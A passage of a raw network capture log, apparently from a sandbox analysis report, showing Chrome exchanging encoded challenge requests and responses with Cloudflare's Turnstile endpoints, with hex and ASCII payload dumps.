v_87679d13b8ca6789=ZLw1Y2UThys2sDlD%2bDvDR1MXXDr1kEDtUnD+RyWuUiDk1dTUeD9nDUhRDHD2RhdGzUV31ygjwZD2lDwXR2-L1yOMmDJRDB$1yhDp2kaDDjDDczD$112yDtirTDxeDcz3Dj9Wp-q82dZRDPXDDQ31D7DxWDevMmDdf1LWhuDx6hAdXsAwi+30YRqNamwRhDBE2Dned5TbaJUDUGyU1n3NrPRKE31k5J$zhMBzQ01hoJ
2024-04-18 21:05:36 UTC	14724	OUT	Data Raw: 35 68 32 4e 46 4f 46 70 68 4a 44 48 44 64 52 32 68 55 57 44 50 44 33 45 64 73 54 7a 44 56 73 54 45 64 2b 44 45 44 6d 63 64 2b 55 30 44 5a 31 32 4c 55 42 44 44 52 78 2b 57 6f 44 6a 52 44 74 44 70 44 5a 31 61 74 55 5a 44 78 52 32 31 44 64 43 74 45 44 7a 55 4b 44 2b 45 44 54 44 50 44 2b 4c 78 64 44 69 44 33 31 64 4c 55 69 45 67 56 6c 5a 4d 63 44 67 55 6e 57 55 51 46 6a 72 72 64 55 64 33 61 30 65 59 44 69 30 73 77 79 4a 75 50 44 48 48 79 52 44 72 52 6d 58 61 41 75 6c 4e 5a 31 64 66 54 48 52 79 44 65 69 45 64 44 56 44 55 75 6e 71 44 5a 31 78 57 55 2d 4a 77 52 65 30 55 73 45 6a 45 79 4d 4d 48 68 55 44 44 59 44 53 77 55 4b 72 2d 75 41 35 36 4b 4f 6c 71 50 43 74 35 6a 6e 7a 41 43 78 4b 6c 7a 71 4b 56 6a 77 65 7a 71 49 56 42 4f 76 6c 44 4e 56 65 4f 63 39 5a 63 43 Data Ascii: 5h2NFOFphJDHDdR2hUWDPD3EdsTzDVsTEd+DEDmcd+U0DZ12LUBDDRx+WoDjRDtDpDZ1atUZDxR21DdCtEDzUKD+EDTDPD+LxdDiD31dLUiEgVlZMcDgUnWUQFjrrdUd3a0eYDi0swyJuPDHHyRDrRmXaAulNZ1dfTHRyDeiEdDVDUunqDZ1xWU-JwRe0UsEjEyMMHhUDDYDSwUKr-uA56KOlqPCt5jnzACxKlzqKVjwezqIVBOvlDNVeOc9ZcC
2024-04-18 21:05:37 UTC	350	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:37 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: fbKCZyDhy9CCUX5GDXRYPE+IknE0wwMZtkOM85/zUcrD96JQ/561kW18y0P0AAWW$YhRdwIuvEvXAt4wdNUU2PQ== vary: accept-encoding Server: cloudflare CF-RAY: 87679d2e6c7aad51-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:37 UTC	1019	IN	Data Raw: 35 30 31 0d 0a 66 70 6d 71 69 34 2b 78 74 72 71 43 74 4d 61 34 66 5a 37 49 77 61 4f 4a 6a 63 4c 49 79 39 44 47 7a 4d 2b 33 73 37 76 54 72 37 50 50 76 64 50 4d 34 37 33 61 31 4c 44 57 78 63 47 31 71 72 76 66 78 71 6e 72 72 38 65 2f 72 63 4c 48 78 65 50 31 38 4e 7a 4d 37 76 6e 73 7a 4c 37 4d 75 74 67 41 78 41 62 63 33 4d 54 45 33 39 6e 75 45 73 77 4a 36 66 45 49 43 65 66 69 43 41 76 78 35 78 45 57 43 50 73 56 47 68 67 46 44 67 49 64 2b 4f 6e 30 43 4f 6b 4a 37 43 67 63 41 51 38 79 49 41 34 51 4e 65 6f 49 4f 44 30 52 4b 77 6f 35 50 50 63 52 51 41 51 76 45 55 68 44 46 54 4d 46 43 6b 63 59 55 53 55 64 4f 31 4a 41 55 79 6b 53 51 31 4d 75 4a 68 51 51 4f 6a 67 2b 56 43 49 32 51 46 64 66 59 69 59 34 57 57 6b 74 4b 79 64 52 5a 30 42 78 4b 6d 31 47 59 56 49 31 61 45 Data Ascii: 501fpmqi4+xtrqCtMa4fZ7IwaOJjcLIy9DGzM+3s7vTr7PPvdPM473a1LDWxcG1qrvfxqnrr8e/rcLHxeP18NzM7vnszL7MutgAxAbc3MTE39nuEswJ6fEICefiCAvx5xEWCPsVGhgFDgId+On0COkJ7CgcAQ8yIA4QNeoIOD0RKwo5PPcRQAQvEUhDFTMFCkcYUSUdO1JAUykSQ1MuJhQQOjg+VCI2QFdfYiY4WWktKydRZ0BxKm1GYVI1aE
2024-04-18 21:05:37 UTC	269	IN	Data Raw: 4f 74 75 6e 53 48 6e 71 69 4f 66 70 7a 44 6b 36 65 52 67 36 69 2f 6d 4a 6d 6f 76 4d 65 34 30 72 2b 77 71 62 43 4d 78 49 71 34 6b 38 57 6f 6c 62 6e 4d 33 39 6e 66 73 62 33 61 78 62 50 67 76 38 66 66 77 4b 54 43 33 2b 76 65 78 4f 54 49 35 73 6a 42 78 50 50 5a 2b 2f 4c 2b 36 4d 37 32 36 62 67 42 34 66 37 63 43 66 33 32 39 63 62 32 2f 4f 7a 42 43 4e 44 6c 41 41 34 50 7a 52 49 44 35 52 72 4e 45 52 55 59 39 51 30 5a 47 52 77 68 47 68 34 67 32 68 77 6b 46 4f 49 6a 4b 77 50 69 4a 43 6f 47 43 79 67 77 4a 54 49 6b 43 2f 50 37 4c 50 59 74 50 6a 59 63 4e 68 38 31 49 78 6f 69 42 69 67 43 43 53 77 37 48 67 30 38 51 78 45 4c 44 56 4e 42 56 41 78 59 4c 55 5a 53 47 54 6c 69 55 46 41 76 58 46 31 51 52 31 68 65 57 6c 34 2b 52 6d 42 6b 50 55 4d 39 52 6d 78 33 53 33 63 7a 59 Data Ascii: OtunSHnqiOfpzDk6eRg6i/mJmovMe40r+wqbCMxIq4k8WolbnM39nfsb3axbPgv8ffwKTC3+vexOTI5sjBxPPZ+/L+6M726bgB4f7cCf329cb2/OzBCNDlAA4PzRID5RrNERUY9Q0ZGRwhGh4g2hwkFOIjKwPiJCoGCygwJTIkC/P7LPYtPjYcNh81IxoiBigCCSw7Hg08QxELDVNBVAxYLUZSGTliUFAvXF1QR1heWl4+RmBkPUM9Rmx3S3czY
2024-04-18 21:05:37 UTC	1369	IN	Data Raw: 32 37 34 31 0d 0a 31 39 4e 55 45 42 56 59 48 4a 45 5a 34 69 48 61 30 31 64 59 34 36 47 61 35 64 69 6a 59 36 4a 56 58 61 58 58 4a 4f 4e 62 31 35 78 63 49 4e 67 70 59 52 2f 71 33 64 6e 6d 4b 65 65 6d 34 31 2f 69 72 4a 73 71 61 69 42 72 37 75 76 65 49 74 38 69 35 61 69 6e 4b 52 37 70 4d 54 47 6b 4a 6d 43 75 63 71 2f 69 72 2b 67 6a 6f 69 65 69 6f 32 74 78 4b 62 53 75 35 6a 61 71 5a 37 4e 73 38 6d 31 75 4f 58 42 75 65 4b 31 76 4f 57 35 72 4d 76 6f 33 63 72 6a 71 4e 2f 4f 36 2b 58 4f 30 74 62 4a 36 74 33 55 75 76 75 79 39 72 69 2f 41 76 37 45 2f 64 6b 4a 79 41 72 43 79 4d 33 37 32 76 7a 66 36 77 66 75 42 50 58 6c 35 67 6a 33 36 4e 77 4f 48 67 33 67 32 67 30 6d 35 51 49 42 39 50 49 46 42 78 2f 73 44 52 45 6b 44 42 30 55 44 44 4c 7a 39 43 63 61 46 41 6b 56 4b 43 Data Ascii: 274119NUEBVYHJEZ4iHa01dY46Ga5dijY6JVXaXXJONb15xcINgpYR/q3dnmKeem41/irJsqaiBr7uveIt8i5ainKR7pMTGkJmCucq/ir+gjoieio2txKbSu5jaqZ7Ns8m1uOXBueK1vOW5rMvo3crjqN/O6+XO0tbJ6t3Uuvuy9ri/Av7E/dkJyArCyM372vzf6wfuBPXl5gj36NwOHg3g2g0m5QIB9PIFBx/sDREkDB0UDDLz9CcaFAkVKC
2024-04-18 21:05:37 UTC	1369	IN	Data Raw: 5a 6a 31 6c 55 6b 56 7a 56 31 35 2b 68 49 5a 4f 63 59 43 4c 63 6d 4a 6e 61 47 65 56 57 31 56 77 6a 48 39 36 62 31 31 56 6e 35 4f 6b 6d 5a 6d 41 70 6f 71 63 6e 61 61 4d 66 34 79 67 70 36 6d 4f 61 49 71 78 74 37 4b 44 74 4c 69 48 66 4a 53 4b 65 33 32 62 73 48 37 46 6e 36 47 6b 6e 4b 32 6a 69 72 2b 72 76 37 36 6d 6a 4c 2f 42 69 61 57 32 6d 72 71 58 75 72 75 78 75 39 50 51 76 62 36 32 35 39 71 6a 36 64 69 64 34 4b 50 70 34 4f 4b 76 30 62 36 79 31 73 50 71 30 72 50 6e 75 37 76 72 76 74 72 66 79 64 48 53 77 72 33 6a 42 2f 54 68 78 74 2f 44 37 4e 33 4a 78 74 45 4d 38 42 59 4b 42 74 59 42 42 4f 66 75 2f 50 62 6f 33 4e 2f 34 38 77 54 62 46 2f 77 55 47 39 76 71 48 50 63 75 4a 79 55 4c 4c 2f 73 65 45 51 48 76 45 66 49 6e 38 68 58 32 47 42 6b 32 49 42 74 42 4f 66 59 Data Ascii: Zj1lUkVzV15+hIZOcYCLcmJnaGeVW1VwjH96b11Vn5OkmZmApoqcnaaMf4ygp6mOaIqxt7KDtLiHfJSKe32bsH7Fn6GknK2jir+rv76mjL/BiaW2mrqXuruxu9PQvb6259qj6did4KPp4OKv0b6y1sPq0rPnu7vrvtrfydHSwr3jB/Thxt/D7N3JxtEM8BYKBtYBBOfu/Pbo3N/48wTbF/wUG9vqHPcuJyULL/seEQHvEfIn8hX2GBk2IBtBOfY
2024-04-18 21:05:37 UTC	1369	IN	Data Raw: 55 71 41 68 55 35 4f 53 55 57 4e 62 31 47 54 67 47 39 4d 6c 34 52 76 56 35 56 65 58 6c 32 66 66 4a 39 6a 64 4b 4e 2b 6b 6d 4a 37 69 4a 64 38 6e 33 43 41 67 6e 2b 71 6a 33 4f 4b 73 70 6d 38 6a 72 6d 71 6e 49 75 4c 69 33 75 63 76 72 76 45 6e 6f 43 5a 6c 4d 71 37 72 35 75 38 73 4a 37 4d 7a 4b 75 73 74 4b 79 68 30 4d 6d 73 30 4e 58 55 30 70 6e 4e 75 64 50 53 31 4b 57 36 30 64 76 64 71 4d 71 36 71 4e 7a 72 75 72 76 4b 38 2b 6a 42 74 2b 72 5a 33 50 33 58 39 4d 2f 4b 7a 66 69 38 37 77 4c 4f 42 67 62 39 32 67 54 37 31 76 7a 76 42 41 34 4a 42 41 62 6f 33 74 38 53 30 65 6f 45 45 41 6f 4e 46 68 44 64 47 66 30 5a 46 4f 34 41 48 51 44 63 42 78 34 65 36 78 2f 36 44 44 45 47 4a 77 34 7a 4a 54 59 32 4f 6a 41 59 42 77 33 39 41 43 30 32 52 66 59 66 4e 77 42 46 48 6b 49 62 Data Ascii: UqAhU5OSUWNb1GTgG9Ml4RvV5VeXl2ffJ9jdKN+kmJ7iJd8n3CAgn+qj3OKspm8jrmqnIuLi3ucvrvEnoCZlMq7r5u8sJ7MzKustKyh0Mms0NXU0pnNudPS1KW60dvdqMq6qNzrurvK8+jBt+rZ3P3X9M/Kzfi87wLOBgb92gT71vzvBA4JBAbo3t8S0eoEEAoNFhDdGf0ZFO4AHQDcBx4e6x/6DDEGJw4zJTY2OjAYBw39AC02RfYfNwBFHkIb
2024-04-18 21:05:37 UTC	1369	IN	Data Raw: 31 76 54 46 39 33 5a 32 74 79 56 57 74 55 66 35 74 7a 6a 5a 47 45 67 31 32 52 6e 56 71 48 59 6d 53 57 61 34 35 70 71 70 36 66 61 62 47 6e 61 49 65 68 6c 58 53 6e 64 71 65 2b 70 38 47 71 73 4a 6d 4f 6a 34 36 38 70 63 47 57 72 4a 71 75 6a 4c 6d 4a 73 74 47 30 6a 63 43 66 70 63 71 6d 70 63 71 54 73 36 37 5a 71 73 7a 61 78 4e 53 67 75 75 62 56 6f 38 4b 30 36 75 50 5a 79 4c 33 77 73 62 44 63 73 2f 54 44 77 63 6e 52 78 50 76 4e 79 38 73 41 31 37 72 75 37 41 59 45 31 41 6a 55 36 64 58 43 32 41 72 46 35 67 2f 4e 30 51 4c 67 7a 39 66 4b 45 2b 34 4b 33 42 63 48 2f 74 6a 77 49 2f 37 77 42 79 44 5a 35 53 72 6e 49 43 51 5a 36 51 54 6f 48 50 73 4e 45 75 33 32 45 50 4d 58 47 42 49 58 2b 50 6b 58 4d 53 7a 34 4f 54 67 34 4d 78 41 79 4f 67 4d 4c 52 51 77 73 55 43 5a 48 4b Data Ascii: 1vTF93Z2tyVWtUf5tzjZGEg12RnVqHYmSWa45pqp6fabGnaIehlXSndqe+p8GqsJmOj468pcGWrJqujLmJstG0jcCfpcqmpcqTs67ZqszaxNSguubVo8K06uPZyL3wsbDcs/TDwcnRxPvNy8sA17ru7AYE1AjU6dXC2ArF5g/N0QLgz9fKE+4K3BcH/tjwI/7wByDZ5SrnICQZ6QToHPsNEu32EPMXGBIX+PkXMSz4OTg4MxAyOgMLRQwsUCZHK
2024-04-18 21:05:37 UTC	1369	IN	Data Raw: 55 6c 35 6d 47 56 31 71 63 62 4a 52 67 65 6d 4a 6a 5a 57 61 57 61 47 6d 57 67 36 43 6c 71 61 56 6b 72 6d 70 79 62 36 32 78 61 33 70 79 65 71 32 39 74 62 75 58 65 4c 36 58 70 49 48 44 78 49 66 47 68 38 54 4f 76 59 79 38 70 49 53 51 77 4c 43 53 6c 4e 58 4a 6c 49 32 4f 6c 36 6e 57 73 72 4f 65 34 4e 33 53 6d 4f 4c 67 75 36 44 6f 31 38 4f 70 36 64 6a 45 7a 66 43 79 7a 36 36 70 79 2f 4c 32 75 66 6a 4d 37 72 58 38 33 2f 79 2b 41 64 6a 34 76 51 58 55 41 62 33 35 44 73 6a 42 77 73 76 64 43 2b 62 6e 30 68 55 53 42 38 77 58 46 65 2f 55 48 51 7a 33 33 52 34 4e 2b 41 49 6c 35 67 54 69 33 51 4d 58 49 4f 38 71 4b 79 2f 78 4d 52 34 78 38 69 55 4e 4d 66 45 35 46 54 50 78 4c 6a 63 43 50 2f 70 44 51 6b 59 47 4a 44 74 49 4e 67 73 4a 42 6b 6f 36 51 31 45 54 45 44 4a 55 4c 43 Data Ascii: Ul5mGV1qcbJRgemJjZWaWaGmWg6ClqaVkrmpyb62xa3pyeq29tbuXeL6XpIHDxIfGh8TOvYy8pISQwLCSlNXJlI2Ol6nWsrOe4N3SmOLgu6Do18Op6djEzfCyz66py/L2ufjM7rX83/y+Adj4vQXUAb35DsjBwsvdC+bn0hUSB8wXFe/UHQz33R4N+AIl5gTi3QMXIO8qKy/xMR4x8iUNMfE5FTPxLjcCP/pDQkYGJDtINgsJBko6Q1ETEDJULC
2024-04-18 21:05:37 UTC	1369	IN	Data Raw: 62 4a 56 65 6b 61 61 57 59 70 53 57 6e 32 61 43 67 4b 4a 71 59 70 43 67 61 59 71 49 71 48 4f 6b 6f 72 46 33 71 4b 61 73 65 6e 4b 75 67 58 37 41 73 72 65 43 6e 71 54 41 68 37 6a 43 76 6f 71 39 30 73 4b 51 71 71 6a 45 6b 6f 71 6b 79 70 65 79 72 4d 32 56 74 72 6a 53 6e 39 44 61 32 36 4b 61 74 4f 43 6d 77 72 69 74 71 71 4c 49 35 4b 2f 67 34 75 71 7a 7a 75 62 76 74 75 6e 2b 37 37 76 73 30 50 61 2b 32 75 37 35 78 4e 37 59 41 4d 48 69 35 41 50 4b 35 74 77 45 7a 77 48 6f 44 64 4c 75 39 4e 6e 58 38 75 67 57 32 2f 59 42 47 4e 34 52 47 78 58 6b 46 69 73 62 35 39 34 4e 49 65 6f 74 43 53 54 76 43 78 48 31 38 77 38 52 4b 66 59 35 45 54 54 37 38 68 6b 31 2b 52 73 6c 4e 51 52 46 50 7a 30 4a 49 7a 63 2b 44 45 35 54 52 78 42 42 53 30 55 55 56 53 56 4f 47 45 6c 48 48 68 30 Data Ascii: bJVekaaWYpSWn2aCgKJqYpCgaYqIqHOkorF3qKasenKugX7AsreCnqTAh7jCvoq90sKQqqjEkoqkypeyrM2VtrjSn9Da26KatOCmwritqqLI5K/g4uqzzubvtun+77vs0Pa+2u75xN7YAMHi5APK5twEzwHoDdLu9NnX8ugW2/YBGN4RGxXkFisb594NIeotCSTvCxH18w8RKfY5ETT78hk1+RslNQRFPz0JIzc+DE5TRxBBS0UUVSVOGElHHh0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49775	104.17.2.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:37 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/420745436:1713472115:hXgepF4Pru8nhez0Rky2zuUxFmnmIZk3frxog8LQwRY/87679d13b8ca6789/f485bd6dd1c10f1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:37 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Thu, 18 Apr 2024 21:05:37 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: d946P29SrOcRaFiMDG8O1A==$33r626xUw+JQVu7szYEPvg== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 87679d3259205085-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:37 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49776	104.17.3.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:38 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/420745436:1713472115:hXgepF4Pru8nhez0Rky2zuUxFmnmIZk3frxog8LQwRY/87679d13b8ca6789/f485bd6dd1c10f1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34153 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: f485bd6dd1c10f1 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:38 UTC	16384	OUT	Data Raw: 76 5f 38 37 36 37 39 64 31 33 62 38 63 61 36 37 38 39 3d 5a 4c 77 31 59 32 55 54 68 79 73 32 73 44 6c 44 25 32 62 44 76 44 52 31 4d 58 58 44 72 31 6b 45 44 74 55 6e 44 2b 52 79 57 75 55 69 44 6b 31 64 54 55 65 44 39 6e 44 55 68 52 44 48 44 32 52 68 64 47 7a 55 56 33 31 79 67 6a 77 5a 44 32 6c 44 77 58 52 32 2d 4c 31 79 4f 4d 6d 44 4a 52 44 42 24 31 79 68 44 70 32 6b 61 44 44 6a 44 44 63 7a 44 24 31 31 32 79 44 74 69 72 54 44 78 65 44 63 7a 33 44 6a 39 57 70 2d 71 38 32 64 5a 52 44 50 58 44 44 51 33 31 44 37 44 78 57 44 65 76 4d 6d 44 64 66 31 4c 57 68 75 44 78 36 68 41 64 58 73 41 77 69 2b 33 30 59 52 71 4e 61 6d 77 52 68 44 42 45 32 44 6e 65 64 35 54 62 61 4a 55 44 55 47 79 55 31 6e 33 4e 72 50 52 4b 45 33 31 6b 35 4a 24 7a 68 4d 42 7a 51 30 31 68 6f 4a Data Ascii: v_87679d13b8ca6789=ZLw1Y2UThys2sDlD%2bDvDR1MXXDr1kEDtUnD+RyWuUiDk1dTUeD9nDUhRDHD2RhdGzUV31ygjwZD2lDwXR2-L1yOMmDJRDB$1yhDp2kaDDjDDczD$112yDtirTDxeDcz3Dj9Wp-q82dZRDPXDDQ31D7DxWDevMmDdf1LWhuDx6hAdXsAwi+30YRqNamwRhDBE2Dned5TbaJUDUGyU1n3NrPRKE31k5J$zhMBzQ01hoJ
2024-04-18 21:05:38 UTC	16384	OUT	Data Raw: 35 68 32 4e 46 4f 46 70 68 4a 44 48 44 64 52 32 68 55 57 44 50 44 33 45 64 73 54 7a 44 56 73 54 45 64 2b 44 45 44 6d 63 64 2b 55 30 44 5a 31 32 4c 55 42 44 44 52 78 2b 57 6f 44 6a 52 44 74 44 70 44 5a 31 61 74 55 5a 44 78 52 32 31 44 64 43 74 45 44 7a 55 4b 44 2b 45 44 54 44 50 44 2b 4c 78 64 44 69 44 33 31 64 4c 55 69 45 67 56 6c 5a 4d 63 44 67 55 6e 57 55 51 46 6a 72 72 64 55 64 33 61 30 65 59 44 69 30 73 77 79 4a 75 50 44 48 48 79 52 44 72 52 6d 58 61 41 75 6c 4e 5a 31 64 66 54 48 52 79 44 65 69 45 64 44 56 44 55 75 6e 71 44 5a 31 78 57 55 2d 4a 77 52 65 30 55 73 45 6a 45 79 4d 4d 48 68 55 44 44 59 44 53 77 55 4b 72 2d 75 41 35 36 4b 4f 6c 71 50 43 74 35 6a 6e 7a 41 43 78 4b 6c 7a 71 4b 56 6a 77 65 7a 71 49 56 42 4f 76 6c 44 4e 56 65 4f 63 39 5a 63 43 Data Ascii: 5h2NFOFphJDHDdR2hUWDPD3EdsTzDVsTEd+DEDmcd+U0DZ12LUBDDRx+WoDjRDtDpDZ1atUZDxR21DdCtEDzUKD+EDTDPD+LxdDiD31dLUiEgVlZMcDgUnWUQFjrrdUd3a0eYDi0swyJuPDHHyRDrRmXaAulNZ1dfTHRyDeiEdDVDUunqDZ1xWU-JwRe0UsEjEyMMHhUDDYDSwUKr-uA56KOlqPCt5jnzACxKlzqKVjwezqIVBOvlDNVeOc9ZcC
2024-04-18 21:05:38 UTC	1385	OUT	Data Raw: 31 7a 4c 64 54 52 72 30 30 52 2b 45 44 5a 74 2d 24 65 64 4e 4e 72 72 4c 32 4f 61 58 2b 6c 59 6f 66 75 43 50 4e 71 41 67 71 46 50 62 56 61 69 6f 4d 50 4e 53 42 45 55 62 64 2d 68 32 32 6d 47 57 4e 33 36 32 59 6a 6f 70 4b 5a 47 4f 72 31 59 4a 67 74 63 52 2b 43 31 5a 35 32 57 44 52 52 43 47 6f 24 44 44 77 65 43 4b 24 2d 71 67 42 56 4f 36 74 69 74 5a 61 33 32 79 42 69 56 68 4b 2b 4a 75 77 65 69 45 39 57 47 4d 43 63 58 41 68 31 31 32 33 51 67 37 61 77 46 4c 55 50 32 71 31 78 4c 55 74 67 74 71 6b 67 55 36 79 66 73 65 6c 4f 47 35 7a 35 79 52 67 68 31 6a 45 55 52 44 55 36 38 61 77 6d 5a 4a 72 30 6b 30 76 59 73 7a 63 41 66 43 69 50 30 66 49 57 2d 33 73 7a 37 37 5a 30 65 50 44 6d 46 57 33 44 68 6b 30 48 56 32 44 59 6c 4e 71 56 61 58 6a 57 41 5a 51 35 6a 58 37 50 57 Data Ascii: 1zLdTRr00R+EDZt-$edNNrrL2OaX+lYofuCPNqAgqFPbVaioMPNSBEUbd-h22mGWN362YjopKZGOr1YJgtcR+C1Z52WDRRCGo$DDweCK$-qgBVO6titZa32yBiVhK+JuweiE9WGMCcXAh1123Qg7awFLUP2q1xLUtgtqkgU6yfselOG5z5yRgh1jEURDU68awmZJr0k0vYszcAfCiP0fIW-3sz77Z0ePDmFW3Dhk0HV2DYlNqVaXjWAZQ5jX7PW
2024-04-18 21:05:39 UTC	1158	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out-s: fUlT0OtO6B+zjBBNSgxEUV7kwKa8cvCfoULH+H3XOFqmLYOgPG5R1GnKU165R/JY5OP3jBJ3Zjqwq7CW4zj0KJwRp6AOr9xbqvG4EvTDMXoDTzK1ocR/Kg/9xFd3i8KOdsYdlskzCtAwrJ7WmOkOcr++DC5cE2Wo72KAMA5U3tJfLXsQJILAbw/ITJ25SwKhHg4ZakkaFyuGF8hTUXFnA5Ww1n8BFvcQLNakSbStCQZemDPoUqSFwUxluEcA7bkUkLYn5/QTxLhe8HKcPa4Iimind3BiocHmRf1LMTRAxwIBYYr4qBooRYu5iocl+b2jnqHOgRaGdi/rfZUzzC75IlzzBE1EYlFANFUxWXUMNfXN/pUeHXaS/ka3wCwoiK2n6f2btQkS+IodfWCS4yugIfUZQMKfKpWIY1XQc0G4Ax4F0vZq2nDpcvrmnjKgpchROLdal8H43YXwi9/0eaqikTpG6Ol7TUaeca4pmZqio9QUofLe8WCkZewOlrH6rAgs0ple+vUt97JQPz3ERIUdtnspvm/EE6K4Rpvy98jEr7ZRF1Y/GsX9/67kEXc2zTteA/iO9zbAk8G1fD3y5jS5XSBK1dx+Wjswx2MBZ+0GD1El+5paXkxYLqYR2RIvPczwRHVaCA4b+3ZjMtsaC27YkBrbpTtL34zAFElUU6lud5mbIvo9hkE8TxOwD7DdBt1r$CosTg4Bd847+A5O+4zpPEQ== cf-chl-out: WdLlWNs+cZxWMYSv7gXT/P7CYHQKCg3uQgwhSSGlORUXU4tIDXN1BNOfGM0MBxAYv2tDeVFQGsSsI5Szw4YTMImehq+OcjJaI6QQT7yisv63srg73zMsdwR3rBYBMmMj$M19Sd/qv91HHvUrzPKP0CA== vary: accept-encoding Server: cloudflare CF-RAY: 87679d3b1c1112e1-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:39 UTC	211	IN	Data Raw: 34 37 32 0d 0a 66 70 6d 71 69 34 2b 78 74 72 71 43 74 4d 61 34 66 5a 37 49 77 61 4f 4a 70 36 66 49 70 49 65 32 79 5a 50 4d 75 36 71 77 7a 37 2b 61 71 4d 47 76 72 75 4c 68 35 64 33 70 71 65 50 41 33 65 53 38 78 2f 48 6f 77 4d 37 51 35 37 50 52 36 39 62 54 36 65 6a 50 2f 62 33 2b 37 2b 44 52 42 50 50 75 30 62 37 70 38 38 54 45 33 39 6e 72 32 77 51 44 35 41 55 45 43 41 44 32 44 4e 59 45 2f 50 66 2b 44 68 63 41 2f 68 59 59 2b 78 6e 5a 35 52 66 34 34 67 48 37 48 75 6b 47 49 77 76 73 4c 77 45 41 42 43 4c 76 4b 6a 6b 53 38 77 66 35 46 6a 34 7a 52 45 42 48 4d 55 6c 44 4f 78 30 57 42 41 41 71 4b 42 78 41 54 43 6f 67 4b 6b 35 49 4a 6a Data Ascii: 472fpmqi4+xtrqCtMa4fZ7IwaOJp6fIpIe2yZPMu6qwz7+aqMGvruLh5d3pqePA3eS8x/HowM7Q57PR69bT6ejP/b3+7+DRBPPu0b7p88TE39nr2wQD5AUECAD2DNYE/Pf+DhcA/hYY+xnZ5Rf44gH7HukGIwvsLwEABCLvKjkS8wf5Fj4zREBHMUlDOx0WBAAqKBxATCogKk5IJj
2024-04-18 21:05:39 UTC	934	IN	Data Raw: 70 63 4b 31 5a 48 4d 53 77 31 4d 55 46 65 55 42 39 66 59 54 78 72 59 32 4e 56 4f 53 6b 76 63 43 78 43 5a 31 4d 2f 54 45 52 77 4f 57 6f 75 61 46 74 65 56 48 41 30 50 56 64 36 63 48 6c 6d 56 58 78 46 59 6c 31 47 69 55 75 53 67 49 57 42 67 35 64 6d 68 56 52 7a 62 48 61 47 65 31 2b 50 63 35 74 36 68 4a 65 63 6d 35 56 7a 59 57 69 4c 69 48 74 39 69 48 35 38 67 5a 32 78 69 34 36 72 6b 59 4f 78 75 70 47 71 6e 62 57 70 73 37 2b 64 75 59 57 79 6e 5a 72 4c 6e 61 79 64 70 62 32 5a 6d 38 58 52 6b 73 61 79 79 63 6e 57 72 4e 47 4f 74 63 2f 53 71 4b 71 68 74 36 53 36 6f 36 54 6e 6f 75 54 71 34 37 72 59 32 61 4b 2b 30 4d 66 79 37 4f 72 48 79 4f 32 31 73 74 33 62 2b 74 6a 79 30 63 73 43 2b 62 7a 42 2b 37 72 42 39 75 44 61 33 67 66 4a 30 4d 72 50 32 2b 51 51 44 38 37 6c 39 Data Ascii: pcK1ZHMSw1MUFeUB9fYTxrY2NVOSkvcCxCZ1M/TERwOWouaFteVHA0PVd6cHlmVXxFYl1GiUuSgIWBg5dmhVRzbHaGe1+Pc5t6hJecm5VzYWiLiHt9iH58gZ2xi46rkYOxupGqnbWps7+duYWynZrLnaydpb2Zm8XRksayycnWrNGOtc/SqKqht6S6o6TnouTq47rY2aK+0Mfy7OrHyO21st3b+tjy0csC+bzB+7rB9uDa3gfJ0MrP2+QQD87l9
